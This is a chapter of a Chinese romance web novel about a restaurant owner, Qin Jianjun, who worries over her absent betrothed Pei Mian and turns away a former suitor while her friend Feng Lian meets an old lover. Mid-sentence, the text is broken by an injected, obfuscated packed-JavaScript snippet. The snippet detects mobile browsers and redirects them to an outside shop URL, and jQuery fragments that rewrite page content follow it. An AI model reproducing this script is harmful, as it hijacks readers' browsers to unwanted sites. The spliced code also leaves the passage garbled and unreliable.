89.第 89 章
    秦见君在吃食上的点子不少,又悉心钻研过虔渊州百姓的饮食习惯,于是很快便推出了火遍虔渊州的花椒鸡。

    随着含萃楼在虔渊州的名声越来越大,秦见君也更加理解裴眠“出海计划”的迫切性。

    光从餐食就能看出,大荆人是愿意尝试重口菜的,但在没有辣椒的前提下,很多美食都做不了。

    还有番茄与土豆等食材,是现代人餐桌上常见的,在大荆却根本未被引进。

    由此可见,在其他方面诸如文化与技术方面,大荆也是有很有必要与外邦交流的。

    也不知裴眠此次出海能带回来什么......秦见君一边假装不关心裴眠,以免他出海的消息传出去,可她又一边克制不住地担心裴眠。

    早知道他当晚便要启程,她就不说那些气头上的话了......

    她懊恼地一拳捶在腿上——自己果然是很差劲的人,裴眠为了大荆冒着生命危险出海,她却为了儿女情长的事让他伤心。

    “姐姐!姐姐!”袁芽急切的声音响起。

    秦见君从柜台后站起来,看到袁芽跑得一头汗。

    如今已是初夏了,外头阳光正盛,吹入大堂的风都是热的。秦见君倒了一杯香橼冰茶给袁芽,却并未让她直接喝掉,而是塞入她手中降温。

    “发生什么事了?”

    袁芽捧着冰茶杯子往额头上贴,喘着气道:“我方才路过菜市口......呼......听说赵广涵判了!”

    “判了什么?”秦见君瞬间握紧了手,赵广涵的案子拖了快半年,裴眠也已秘密出海有三个多月了,如今终于要判了?

    “说是家产全部抄没,三日后于午门斩首。”

    “亲眷呢?”秦见君追问。

    “在虔渊州朝中的亲眷一同斩首。”

    “那赵浅聿......”

    “赵大人不在虔渊州,不会斩首,但抄没家产后不得入仕,也不能再踏入虔渊州了......”袁芽道。

    秦见君松了口气——留着命就还好,不能入仕还能做生意,天下之大,不进虔渊州也无妨的......

    三日后赵广涵被斩首,朝中进行了一次大清洗,卢飞枫手持官家信物,将赵广涵余党连根拔起,朝中职位空缺,即便将地方官提拔上来也无法填补大量空缺。

    大荆开洋八年九月,朝廷开恩科,广招人才入虔渊州科举。

    “要我说,今年科举定是近年来最简易的!”一位留着山羊胡须的男人坐在窗边,对同伴道。

    男人的同伴是个书生,面相年轻得多,性子却更稳妥些,听了山羊胡子的话,只微微点头道:“那也是要用心治学的,人数虽多,但高手也多。”

    “说得对,今年科举也是卢飞枫大人操办,卢大人性子刚直、公平公正,只要我们努力学了,定是能博取功名的。”

    书生仍旧表情淡淡,并未反驳山羊胡子的话,只道:“我倒是更想裴大人阅卷。”

    “裴大人?裴眠?”

    “嗯。”

    山羊胡子撇撇嘴道:“毛头小子一个,自他考上状元入朝后,除了帮叶水州种出了水稻,还做过何事?哦,他还出海了......”说起此事,山羊胡子便更来劲了,“赵广涵倒台时就传出消息,说国库空虚,如今大荆正需要休养生息,他却用国库最后一点积蓄买了船只出海去了!”

    书生听了,不赞同道:“出海是越早越好的,我们自小在南边长大,难道未见过外邦人?未见过外邦人带来的新鲜玩意儿?”

    山羊胡子不说话了。

    书生继续道:“大荆不能处于被动地位,必要主动出海结交外邦,若是幸运,许能为大荆国库带来新的希望......”

    赵广涵一派被斩草除根后,国库空虚的消息不知从哪儿传了出去。武合文只好昭告天下,裴眠已带船队出海去了,从目前收到的消息来看,外邦态度友善,双方交换了许多货物,裴眠会带着新希望回到大荆,大荆的国库也有望充盈起来。

    百姓们听了这些,心中才算安稳了些。

    可如此一来,裴眠身上的担子便又重了些。秦见君坐在柜台后面听山羊胡子与书生的对话,轻轻摩挲着从袁芽那里要回来的玉佩。

    冯莲将蟹酿橙端上了桌,对二人道:“客官,菜上齐了。”

    山羊胡子点点头,示意她可以下去了。

    冯莲便收起托盘往外走,不料却迎面撞了人,她后退了好几步才稳住身子。

    “冯小娘。”

    她抬头看过去——是罗衔玉。

    这也算是他乡遇故人,她高兴地想要去喊秦见君,却发现罗衔玉后面还站着个书生。

    是戴鸣。

    原本戴鸣的样貌在冯莲心中已有些模糊了,可在重逢的一瞬,她便什么都想起来了。

    不仅想起了他的样貌,还有那些“甜蜜时光”。

    戴鸣似是也没料到能在虔渊州看到冯莲,且冯莲样貌变化有些大,一时间他都不敢认。

    “冯小娘?”罗衔玉的声音再次响起。

    冯莲回过神,抱紧了胸前的托盘,低着头绕过两人道:“我去叫老板过来。”

    秦见君躲在柜台后面听得清清楚楚,但她如今并不想同罗衔玉见面,两人本就没什么交情,关系也十分尴尬。

    “阿君?怎么在这儿?罗书生来了......”冯莲路过柜台时看到秦见君,于是走过去对她道。

    “跟他说我不在店里......”秦见君挥了挥手。

    “秦小娘......”罗衔玉从柜台前冒出来,直直看着秦见君。

    秦见君:“......”

    九月已有些凉爽了,秦见君打开二楼雅间的窗户,吹进来的风也有些冷。

    “我......我先前在家念书,并不知你已经来了虔渊州,如今官家开恩科,我出了家门才知晓虔渊州开了一家含萃楼,于是......”罗衔玉时隔多日,再次看到秦见君,也还是觉得心动,说话都有些磕巴。

    秦见君心不在焉地撑着脑袋,连眼神都未给他一个,而是盯着窗外的街道。

    “嗯......祝你科考顺利。”她懒懒道。

    罗衔玉不是傻子,当初隔着帷幔他便觉得秦见君的情郎不是一般人。

    这几日从家中走出来,才听闻秦见君与裴眠定亲又退亲的消息,尤其裴眠出海之事近日在虔渊州传得沸沸扬扬,他便下意识觉得是裴眠对不起秦见君。

    “你......你别伤心......若是我科考顺利,定能博取功名,你多给我一点时间,我不会比裴大

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157407|141165||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人差......”

    听他提起裴眠,秦见君这才将脑袋转过去,看着他。

    秦见君的眸子还是如往常一样黑白分明、水润清亮,看得罗衔玉心头悸动不已。

    “我们没可能。”她的声音听着温温柔柔的,说出来的话却像刀子一样扎入罗衔玉的心中。

    他低下头,默了好一会儿,又问:“即便......即便裴大人回不来也......”

    “嗯。”秦见君打断了他的话,心中升起一丝烦躁。

    她对“裴眠可能回不来”这件事十分敏感,若是他真的回不来,自己会抱憾终身的。

    罗衔玉还想要说什么,楼下却忽然传来一阵吵闹声。

    秦见君顺势起身下楼,看见与罗衔玉一同来的那位书生正拉着冯莲,冯莲挣扎不掉,不小心撞上了桌子,这才发出了声响。

    秦见君上前挥开戴鸣的手,蹙眉道:“你做什么?”

    戴鸣目光仍黏在冯莲身上,开口道:“我与她是旧识,想同她说两句。”

    秦见君去看冯莲的表情,她眼中含泪,朝秦见君摇了摇头。

    “她不想跟你说话。”秦见君撂下这句话便拉着冯莲离开了。

    一直到进了酿酒的酒库,秦见君才松开冯莲的手,替她擦了眼泪。

    “他就是那个书生?叫......”秦见君蹙眉,她有些想不起来当初玩弄冯莲感情的书生是何姓名了。

    “戴鸣......”冯莲吸了吸鼻子,自病过一场后,她脸上的婴儿肥便再未养回来过,如今看着倒是去了稚气,多了成熟韵味,样貌更出挑了。

    “对,戴鸣......”秦见君问她,“哭什么?你还想着他?”

    冯莲摇摇头,抽泣道:“不想了,只是见了他......又想起旧事......”

    秦见君叹了口气道:“那以后不见他了,他是来赶考的,考完就走了。”

    冯莲点点头,抬手抹了把脸,眼泪糊得到处都是,秦见君无奈地取出手帕,给她轻轻擦拭。

    “你是真不想他了,还是应付我的?”秦见君不放心。

    冯莲使劲摇头,正色道:“真不想了,男人有什么好的?自从跟了你,我靠着双手赚钱,想穿什么、想吃什么,都能买得起,要男人做什么?”

    秦见君看她眼中坚定不似作假,便放心了。

    “那你呢?”

    “什么?”秦见君问。

    “你与裴大人吵架了?”这么久都没见到裴大人,冯莲心中早有了猜测,前几日又听闻他带船队出海去了,秦见君面上也并无惊讶之色,想来是早知晓了实情。

    原先她还以为秦见君在含萃楼开业时的失魂落魄是因为裴大人走了,可再仔细观察,就会发现,那样的失魂落魄与先前在绵州时大不相同。

    秦见君的心动摇了。

    从前裴眠去了叶水州,她留在绵州开店,平日里并未有异样,无论是安排上新还是做削价活动,秦见君都十分得心应手。

    不像如今,人前看不出端倪,却总在一个人独处时显出寂寥来。

    秦见君听冯莲这么问,又想起自己对裴眠说的那些话,悔恨不已。

    “是吵架了.....”秦见君低下头,轻声道,“我好像伤他心了......”